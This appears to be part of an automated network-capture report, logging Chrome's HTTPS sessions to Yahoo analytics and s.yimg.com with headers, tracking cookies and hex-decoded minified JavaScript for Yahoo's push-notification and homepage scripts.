2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 97 43 8b db 45 c1 30 fb b3 91 ae 5a a6 14 ee 33 98 c9 04 3b 09 5a 46 eb 6f 5c d1 f2 f4 86 20 48 dc 0c 63 06 7d 88 47 d2 79 5e a5 6d 76 f8 70 1e 5c 46 bc cc 45 7e be 4d d4 64 90 ea a9 38 bb cb c9 c2 c2 41 17 12 1c fa a8 bc 98 ae ac ae 3b 29 12 e9 2f 3b 9f bd 78 7a 32 83 6d e2 3e 45 ad 7f 51 d1 b1 ef 0a 87 60 6d da 39 6f 04 2a d9 36 e0 e6 93 7c 1c a6 8a cb 61 7b 74 be 30 9b b9 98 88 65 1d 4a ff 1b e2 d3 a9 b8 79 f1 90 92 05 00 f7 88 4f a6 79 45 84 97 08 3d e0 b1 70 d7 b3 d9 fa f0 8c 58 ba 30 04 3b 21 4d 1b 84 57 2a 0e 08 8d 20 28 80 3f bc 87 e0 78 0b 6a 34 1c c8 72 23 e2 a9 f4 54 e4 46 ca ca 6a d5 61 8b ca e4 fa 43 b4 c5 7b 1d 65 d8 82 2b c7 e1 c7 bf 81 22 45 1f df d7 3d a4 ba ef a3 9c f1 18 da 2a a0 67 ac 3e b7 d7 46 40 83 d9 8f f3 ef 1b f0 0b c2 da 99 ff Data Ascii: CE0Z3;ZFo\ Hc}Gy^mvp\FE~Md8A;)/;xz2m>EQ`m9o6\|a{t0eJyOyE=pX0;!MW (?xj4r#TFjaC{e+"E=*g>F@
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 4b c7 a6 da ee cf 55 f5 ef 5e b3 75 fa b9 84 c1 de d9 c5 79 23 6b 01 c7 3e f3 5b d7 53 a0 98 e4 61 72 23 af bb 6c 9b c4 f4 51 61 96 32 5d e6 0e e4 a1 70 34 cd c5 2e 94 74 61 a9 80 af ba ac f5 69 c0 04 77 d0 5e 42 a4 f2 06 25 74 fb 0b 91 8c bf 31 02 b0 9e 71 64 1d ef 0d 5f a8 58 e6 e1 9b 3c 87 99 e3 81 08 02 3b 32 66 e8 5e 1e b2 ef e1 8b 2d fe 6b 38 2c 01 22 2e 9d 65 3f 96 60 e2 42 0c 34 89 26 8e d0 88 59 ff 83 65 79 19 a3 21 59 68 0c 85 83 0a dd 70 5c 66 51 22 4b 52 fd 06 2f 7a d9 5e ea c2 b0 5e 55 40 d9 08 31 03 0f 01 da 89 e7 57 c2 61 a1 3b 90 53 71 c4 ad 31 27 ca 55 10 0f 60 39 83 c9 ac c7 35 f1 35 c6 c3 4f bb 31 7e ab 6c 41 0c 76 96 45 4e f7 cf e8 77 81 04 b3 50 03 a1 cf 09 c7 47 a3 99 51 20 11 19 5e 7c c1 50 37 0b df 03 2d b3 74 ee 11 67 cf c6 68 73 Data Ascii: KU^uy#k>[Sar#lQa2]p4.taiw^B%t1qd_X<;2f^-k8,".e?`B4&Yey!Yhp\fQ"KR/z^^U@1Wa;Sq1'U`955O1~lAvENwPGQ ^\|P7-tghs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	49881	3.225.218.10	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:54 UTC	1028	OUT	GET /ups/58834/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC="19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y"; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A
2024-04-27 22:41:54 UTC	465	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:54 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="19cw~2i3y:19e0~2i3y:19e7~2i3y:19ea~2i3y";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:41:54 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112
2024-04-27 22:41:54 UTC	54	IN	Data Raw: 33 30 0d 0a 7b 22 61 78 69 64 22 3a 20 22 79 2d 4a 42 66 53 6d 37 46 45 32 75 4b 41 76 4c 7a 38 6a 31 57 48 51 6b 37 30 53 37 44 6b 48 64 73 6f 7e 41 22 7d 0d 0a Data Ascii: 30{"axid": "y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A"}
2024-04-27 22:41:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	49882	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:54 UTC	541	OUT	GET /aaq/notifications/js/sh-5.17.91.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:54 UTC	853	IN	HTTP/1.1 200 OK x-amz-id-2: VQFNomKfDe15x24+1msN0BYE3VzSDmGJfgKLAUo0QjDqtt7/7+MVgC/HBKbHSYiZLXb1Ul6c+/8= x-amz-request-id: VNWP8X1778T2G46E Date: Sat, 27 Apr 2024 11:19:59 GMT Last-Modified: Fri, 01 Mar 2024 20:31:04 GMT ETag: "e6a743e22f5b7027f77359f0a549572b" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: a4d6j1rGXjJh7zYv1zxDfxRxpUDhRFD1 Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 23479 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 40916 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 72 3d 22 42 72 6f 77 73 65 72 53 75 62 73 63 72 69 70 74 69 6f 6e 48 65 6c 70 65 72 22 2c 69 3d 5b 22 63 68 72 6f 6d 65 22 2c 22 63 68 72 6f 6d 65 20 6d 6f 62 69 6c 65 22 5d 2c 70 3d 22 65 72 72 6f 72 22 2c 66 3d 22 69 6e 66 6f 22 2c 6e 3d 22 70 75 73 68 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 22 2c 6f 3d 22 75 6e 64 65 66 69 6e 65 64 22 2c 74 3d 22 55 6e 73 75 70 70 6f 72 74 65 64 20 42 72 6f 77 73 65 72 2e 22 2c 75 3d 22 67 72 61 6e 74 65 64 22 2c 61 3d 22 64 65 6e 69 65 64 22 2c 63 3d 22 73 75 62 73 63 72 69 70 74 69 6f 6e 73 22 2c 73 3d 22 74 79 70 65 22 2c 64 3d 22 70 75 73 68 22 2c 65 3d 22 64 69 73 70 6c 61 79 2d 70 75 73 68 2d 70 72 6f 6d 6f 73 22 2c 6c 3d 22 6a 73 2d 70 75 73 68 2d 73 75 62 73 63 72 Data Ascii: !function(){var r="BrowserSubscriptionHelper",i=["chrome","chrome mobile"],p="error",f="info",n="pushNotifications",o="undefined",t="Unsupported Browser.",u="granted",a="denied",c="subscriptions",s="type",d="push",e="display-push-promos",l="js-push-subscr
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 41 67 65 6e 74 2c 6e 3d 65 2e 62 72 6f 77 73 65 72 4e 61 6d 65 2c 69 3d 65 2e 62 72 6f 77 73 65 72 56 65 72 73 69 6f 6e 2c 72 3d 65 2e 6f 73 7c 7c 65 2e 6f 73 4e 61 6d 65 2c 74 3d 74 68 69 73 2e 63 6f 6e 66 69 67 2e 73 75 70 70 6f 72 74 65 64 42 72 6f 77 73 65 72 73 5b 6e 5d 7c 7c 7b 7d 2c 6f 3d 21 31 2c 73 3d 21 31 2c 61 3d 74 2e 6f 73 26 26 74 2e 6f 73 2e 6c 65 6e 67 74 68 2c 63 3d 30 3b 63 3c 61 3b 63 2b 2b 29 69 66 28 2d 31 3c 72 2e 69 6e 64 65 78 4f 66 28 74 2e 6f 73 5b 63 5d 29 29 7b 73 3d 21 30 3b 62 72 65 61 6b 7d 72 65 74 75 72 6e 28 21 74 2e 6d 69 6e 56 65 72 73 69 6f 6e 7c 7c 69 3e 3d 74 2e 6d 69 6e 56 65 72 73 69 6f 6e 29 26 26 28 21 74 2e 6d 61 78 56 65 72 73 69 6f 6e 7c 7c 69 3c 3d 74 2e 6d 61 78 56 65 72 73 69 6f 6e 29 26 26 28 21 74 2e 75 Data Ascii: Agent,n=e.browserName,i=e.browserVersion,r=e.os\|\|e.osName,t=this.config.supportedBrowsers[n]\|\|{},o=!1,s=!1,a=t.os&&t.os.length,c=0;c<a;c++)if(-1<r.indexOf(t.os[c])){s=!0;break}return(!t.minVersion\|\|i>=t.minVersion)&&(!t.maxVersion\|\|i<=t.maxVersion)&&(!t.u
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 2e 6f 6e 62 6f 61 72 64 54 69 6d 65 7d 29 2c 6c 26 26 6c 28 6e 75 6c 6c 2c 7b 69 73 4f 6e 62 6f 61 72 64 45 72 72 6f 72 3a 21 30 2c 70 75 73 68 4d 61 6e 61 67 65 72 43 68 75 72 6e 3a 6e 75 6c 6c 7d 2c 6e 29 3b 69 26 26 69 3d 3d 3d 72 7c 7c 22 67 72 61 6e 74 65 64 22 21 3d 3d 65 2e 73 74 61 74 65 3f 6c 26 26 6c 28 6e 75 6c 6c 2c 7b 69 73 4f 6e 62 6f 61 72 64 45 72 72 6f 72 3a 21 31 2c 70 75 73 68 4d 61 6e 61 67 65 72 43 68 75 72 6e 3a 21 31 7d 2c 6e 29 3a 70 2e 6c 6f 67 53 75 62 73 63 72 69 70 74 69 6f 6e 43 68 75 72 6e 43 68 65 63 6b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 64 26 26 70 2e 5f 73 65 6e 64 42 65 61 63 6f 6e 28 66 2c 7b 63 6f 64 65 3a 22 73 75 62 43 68 75 72 6e 22 2c 69 64 62 44 65 76 69 63 65 49 64 3a 69 2c 64 65 76 69 63 65 49 64 3a 72 2c 73 Data Ascii: .onboardTime}),l&&l(null,{isOnboardError:!0,pushManagerChurn:null},n);i&&i===r\|\|"granted"!==e.state?l&&l(null,{isOnboardError:!1,pushManagerChurn:!1},n):p.logSubscriptionChurnCheck(function(e){d&&p._sendBeacon(f,{code:"subChurn",idbDeviceId:i,deviceId:r,s
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 73 65 20 73 26 26 73 28 6e 75 6c 6c 2c 6e 75 6c 6c 29 7d 2c 66 65 74 63 68 50 75 73 68 50 65 72 6d 69 73 73 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 29 7b 74 68 69 73 2e 63 68 65 63 6b 49 73 53 75 70 70 6f 72 74 65 64 42 72 6f 77 73 65 72 28 29 26 26 2d 31 3c 69 2e 69 6e 64 65 78 4f 66 28 74 68 69 73 2e 63 6f 6e 66 69 67 2e 75 73 65 72 41 67 65 6e 74 2e 62 72 6f 77 73 65 72 4e 61 6d 65 29 3f 74 68 69 73 2e 5f 66 65 74 63 68 50 75 73 68 50 65 72 6d 69 73 73 69 6f 6e 43 68 72 6f 6d 65 28 65 29 3a 65 28 6e 65 77 20 45 72 72 6f 72 28 74 2c 6e 75 6c 6c 29 29 7d 7d 2c 72 65 71 75 65 73 74 50 75 73 68 50 65 72 6d 69 73 73 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 29 7b 69 66 28 6e 29 7b 74 68 69 73 2e 63 68 65 63 6b 49 73 53 75 70 70 6f Data Ascii: se s&&s(null,null)},fetchPushPermission:function(e){if(e){this.checkIsSupportedBrowser()&&-1<i.indexOf(this.config.userAgent.browserName)?this._fetchPushPermissionChrome(e):e(new Error(t,null))}},requestPushPermission:function(e,n){if(n){this.checkIsSuppo
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 65 72 53 65 72 76 69 63 65 57 6f 72 6b 65 72 28 72 2c 74 29 7d 29 2e 74 68 65 6e 28 69 2e 5f 64 6f 50 75 73 68 4d 61 6e 61 67 65 72 53 75 62 73 63 72 69 62 65 2e 62 69 6e 64 28 69 29 29 2e 74 68 65 6e 28 69 2e 5f 62 75 69 6c 64 50 65 72 6d 69 73 73 69 6f 6e 4f 62 6a 65 63 74 43 68 72 6f 6d 65 2e 62 69 6e 64 28 69 29 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 5f 73 65 6e 64 42 65 61 63 6f 6e 28 66 2c 7b 63 6f 64 65 3a 22 62 72 77 73 72 50 65 72 6d 52 65 71 53 75 63 63 65 73 73 22 2c 6d 65 73 73 61 67 65 3a 65 2e 73 74 61 74 65 7d 29 2c 6e 28 6e 75 6c 6c 2c 65 29 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 5f 73 65 6e 64 42 65 61 63 6f 6e 28 70 2c 7b 63 6f 64 65 3a 22 62 72 77 73 72 50 65 72 6d 52 65 71 45 72 72 Data Ascii: erServiceWorker(r,t)}).then(i._doPushManagerSubscribe.bind(i)).then(i._buildPermissionObjectChrome.bind(i)).then(function(e){i._sendBeacon(f,{code:"brwsrPermReqSuccess",message:e.state}),n(null,e)}).catch(function(e){i._sendBeacon(p,{code:"brwsrPermReqErr
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 65 7d 29 2c 6e 2e 6c 6f 67 50 75 73 68 4d 61 6e 61 67 65 72 46 61 69 6c 75 72 65 28 29 7d 29 3b 6e 2e 5f 73 65 6e 64 42 65 61 63 6f 6e 28 70 2c 7b 63 6f 64 65 3a 22 50 75 73 68 4d 6e 67 72 53 75 62 46 61 69 6c 22 2c 6d 65 73 73 61 67 65 3a 22 50 75 73 68 20 4d 61 6e 61 67 65 72 20 73 75 62 73 63 72 69 62 65 20 63 61 6c 6c 65 64 20 77 69 74 68 6f 75 74 20 61 70 70 6c 69 63 61 74 69 6f 6e 20 73 65 72 76 65 72 20 6b 65 79 22 7d 29 7d 7d 2c 5f 64 6f 50 75 73 68 4d 61 6e 61 67 65 72 55 6e 73 75 62 73 63 72 69 62 65 3a 66 75 6e 63 74 69 6f 6e 28 72 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 72 2e 70 75 73 68 4d 61 6e 61 67 65 72 2e 67 65 74 53 75 62 73 63 72 69 70 74 69 6f 6e 28 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 Data Ascii: e}),n.logPushManagerFailure()});n._sendBeacon(p,{code:"PushMngrSubFail",message:"Push Manager subscribe called without application server key"})}},_doPushManagerUnsubscribe:function(r){var e=this;return r.pushManager.getSubscription().then(function(e){if(
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 69 6e 6b 56 69 65 77 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 74 72 61 63 6b 65 72 26 26 65 26 26 65 2e 73 65 63 26 26 65 2e 73 6c 6b 26 26 74 68 69 73 2e 74 72 61 63 6b 65 72 2e 62 65 61 63 6f 6e 4c 69 6e 6b 56 69 65 77 73 28 5b 7b 73 65 63 3a 65 2e 73 65 63 2c 74 31 3a 65 2e 74 31 2c 74 32 3a 65 2e 74 32 2c 5f 6c 69 6e 6b 73 3a 5b 65 5d 7d 5d 29 7d 2c 5f 61 74 74 61 63 68 50 65 72 6d 69 73 73 69 6f 6e 55 70 64 61 74 65 48 61 6e 64 6c 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 74 68 69 73 3b 72 2e 63 6f 6e 66 69 67 2e 65 6e 61 62 6c 65 50 65 72 6d 69 73 73 69 6f 6e 43 68 61 6e 67 65 42 65 61 63 6f 6e 3f 72 2e 63 68 65 63 6b 49 73 53 75 70 70 6f 72 74 65 64 42 72 6f 77 73 65 72 28 6e 29 3f 6e 61 76 69 67 61 74 6f 72 26 26 6e Data Ascii: inkView:function(e){this.tracker&&e&&e.sec&&e.slk&&this.tracker.beaconLinkViews([{sec:e.sec,t1:e.t1,t2:e.t2,_links:[e]}])},_attachPermissionUpdateHandle:function(e){var r=this;r.config.enablePermissionChangeBeacon?r.checkIsSupportedBrowser(n)?navigator&&n
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 63 6f 6d 70 6c 65 74 65 64 22 3d 3d 3d 6f 2e 6f 6e 62 6f 61 72 64 53 74 61 74 65 26 26 6e 29 7b 76 61 72 20 69 3d 7b 63 68 61 6e 6e 65 6c 5f 69 64 3a 6e 2c 64 65 76 69 63 65 5f 69 64 3a 72 2e 64 65 76 69 63 65 49 64 7d 3b 73 26 26 28 69 2e 72 65 67 69 73 74 72 61 74 69 6f 6e 5f 69 64 3d 73 29 3b 76 61 72 20 74 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 69 2c 61 2e 67 65 74 45 73 73 65 6e 74 69 61 6c 41 74 74 72 69 62 75 74 65 73 28 29 29 3b 72 65 74 75 72 6e 20 61 2e 63 61 6c 6c 53 75 62 73 63 72 69 70 74 69 6f 6e 53 65 72 76 69 63 65 28 7b 6d 65 74 68 6f 64 3a 22 50 4f 53 54 22 2c 6f 70 65 72 61 74 69 6f 6e 3a 22 75 70 64 61 74 65 22 2c 73 65 72 76 69 63 65 52 65 73 6f 75 72 63 65 3a 22 73 75 62 73 63 72 69 70 74 69 6f 6e 73 2e 73 65 74 41 74 74 72 69 Data Ascii: completed"===o.onboardState&&n){var i={channel_id:n,device_id:r.deviceId};s&&(i.registration_id=s);var t=Object.assign(i,a.getEssentialAttributes());return a.callSubscriptionService({method:"POST",operation:"update",serviceResource:"subscriptions.setAttri
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 22 79 61 68 6f 6f 4e 6f 74 69 66 69 63 61 74 69 6f 6e 73 22 2c 32 29 3b 65 2e 6f 6e 75 70 67 72 61 64 65 6e 65 65 64 65 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 74 61 72 67 65 74 2e 72 65 73 75 6c 74 2e 63 72 65 61 74 65 4f 62 6a 65 63 74 53 74 6f 72 65 28 63 2c 7b 6b 65 79 50 61 74 68 3a 73 7d 29 2e 74 72 61 6e 73 61 63 74 69 6f 6e 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 6e 65 77 20 45 72 72 6f 72 28 22 46 61 69 6c 65 64 20 75 70 67 72 61 64 69 6e 67 3a 20 22 2b 65 2e 74 61 72 67 65 74 2e 65 72 72 6f 72 43 6f 64 65 29 3b 72 2e 5f 73 65 6e 64 42 65 61 63 6f 6e 28 70 2c 7b 63 6f 64 65 3a 22 49 44 42 55 70 67 72 61 64 65 46 61 69 6c 22 2c 6d 65 73 73 61 67 65 3a 6e 2e 6d 65 73 73 61 67 65 7d 29 2c 69 26 26 69 Data Ascii: "yahooNotifications",2);e.onupgradeneeded=function(e){e.target.result.createObjectStore(c,{keyPath:s}).transaction.onerror=function(e){var n=new Error("Failed upgrading: "+e.target.errorCode);r._sendBeacon(p,{code:"IDBUpgradeFail",message:n.message}),i&&i
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 6e 65 77 20 45 72 72 6f 72 28 22 46 61 69 6c 65 64 20 52 65 61 64 69 6e 67 3a 20 22 2c 65 2e 74 61 72 67 65 74 2e 65 72 72 6f 72 43 6f 64 65 29 3b 6f 2e 5f 73 65 6e 64 42 65 61 63 6f 6e 28 70 2c 7b 63 6f 64 65 3a 22 49 44 42 52 65 61 64 46 61 69 6c 22 2c 6d 65 73 73 61 67 65 3a 6e 2e 6d 65 73 73 61 67 65 7d 29 2c 74 26 26 74 28 6e 29 2c 69 2e 63 6c 6f 73 65 28 29 7d 7d 29 7d 2c 5f 73 65 74 45 6e 74 72 79 49 6e 44 42 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 6f 29 7b 76 61 72 20 73 3d 74 68 69 73 2c 61 3d 28 6e 65 77 20 44 61 74 65 29 2e 67 65 74 54 69 6d 65 28 29 3b 73 2e 5f 72 65 61 64 45 6e 74 72 79 49 6e 44 42 28 66 75 6e 63 74 69 6f 6e 28 65 2c 72 29 7b 65 7c 7c 21 72 3f 73 2e 5f 69 6e 69 74 44 42 28 73 2e 5f 62 75 69 6c Data Ascii: on(e){var n=new Error("Failed Reading: ",e.target.errorCode);o._sendBeacon(p,{code:"IDBReadFail",message:n.message}),t&&t(n),i.close()}})},_setEntryInDB:function(t,o){var s=this,a=(new Date).getTime();s._readEntryInDB(function(e,r){e\|\|!r?s._initDB(s._buil

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	49883	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:54 UTC	541	OUT	GET /aaq/hc/homepage-pwa-defer-1.1.6.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:54 UTC	853	IN	HTTP/1.1 200 OK x-amz-id-2: PhixzAHLu/ZxhCIG35AXWVqmQBgZGbWr49Hz67DKtnqXRP2xsGWfoyKdadKEEwoaw8CrTeQ832k= x-amz-request-id: 2K2J7EHEMG23WKKC Date: Sat, 27 Apr 2024 11:20:12 GMT Last-Modified: Tue, 02 May 2023 21:04:06 GMT ETag: "6ea12fccbed15820786c87f0b9b67d61" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: 62z3e394BVX5YApOMJTuFHiUFyy3mHgC Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 67717 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 40903 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff ATS-Carp-Promotion: 1
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 48 6f 6d 65 70 61 67 65 43 6c 69 65 6e 74 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 2e 48 6f 6d 65 70 61 67 65 43 6c 69 65 6e 74 3d 74 28 29 3a 65 2e 48 6f 6d 65 70 61 67 65 43 6c 69 65 6e 74 3d 74 28 29 7d 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 73 65 6c 66 3f 73 65 6c 66 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("HomepageClient",[],t):"object"==typeof exports?exports.HomepageClient=t():e.HomepageClient=t()}("undefined"!=typeof self?self
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 29 2c 69 7d 2c 74 2e 6d 3d 65 2c 74 2e 63 3d 6f 2c 74 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 6e 2c 6f 29 7b 74 2e 6f 28 65 2c 6e 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 6e 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 6f 7d 29 7d 2c 74 2e 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 2e 64 65 66 61 75 6c 74 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 3b 72 65 74 75 72 6e 20 74 2e 64 28 6e 2c 22 61 22 2c 6e 29 2c 6e 7d 2c 74 2e 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 Data Ascii: ),i},t.m=e,t.c=o,t.d=function(e,n,o){t.o(e,n)\|\|Object.defineProperty(e,n,{configurable:!1,enumerable:!0,get:o})},t.n=function(e){var n=e&&e.__esModule?function(){return e.default}:function(){return e};return t.d(n,"a",n),n},t.o=function(e,t){return Object
2024-04-27 22:41:54 UTC	1300	IN	Data Raw: 64 69 6e 67 53 75 70 70 6f 72 74 65 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 22 6c 6f 61 64 69 6e 67 22 69 6e 20 48 54 4d 4c 49 6d 61 67 65 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 7d 28 29 2c 74 2e 69 73 53 6c 6f 77 42 72 6f 77 73 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 76 6f 69 64 20 30 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 76 6f 69 64 20 30 21 3d 3d 65 29 72 65 74 75 72 6e 20 74 28 65 29 3b 76 61 72 20 6e 3d 6e 61 76 69 67 61 74 6f 72 2e 63 6f 6e 6e 65 63 74 69 6f 6e 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 6d 6f 7a 43 6f 6e 6e 65 63 74 69 6f 6e 7c 7c 6e 61 76 69 67 61 74 6f 72 2e 77 65 62 6b 69 74 43 6f 6e 6e 65 63 74 69 6f 6e 3b 69 66 28 6e 29 Data Ascii: dingSupported=function(){return"loading"in HTMLImageElement.prototype}(),t.isSlowBrowser=function(){var e=void 0;return new Promise(function(t){if(void 0!==e)return t(e);var n=navigator.connection\|\|navigator.mozConnection\|\|navigator.webkitConnection;if(n)
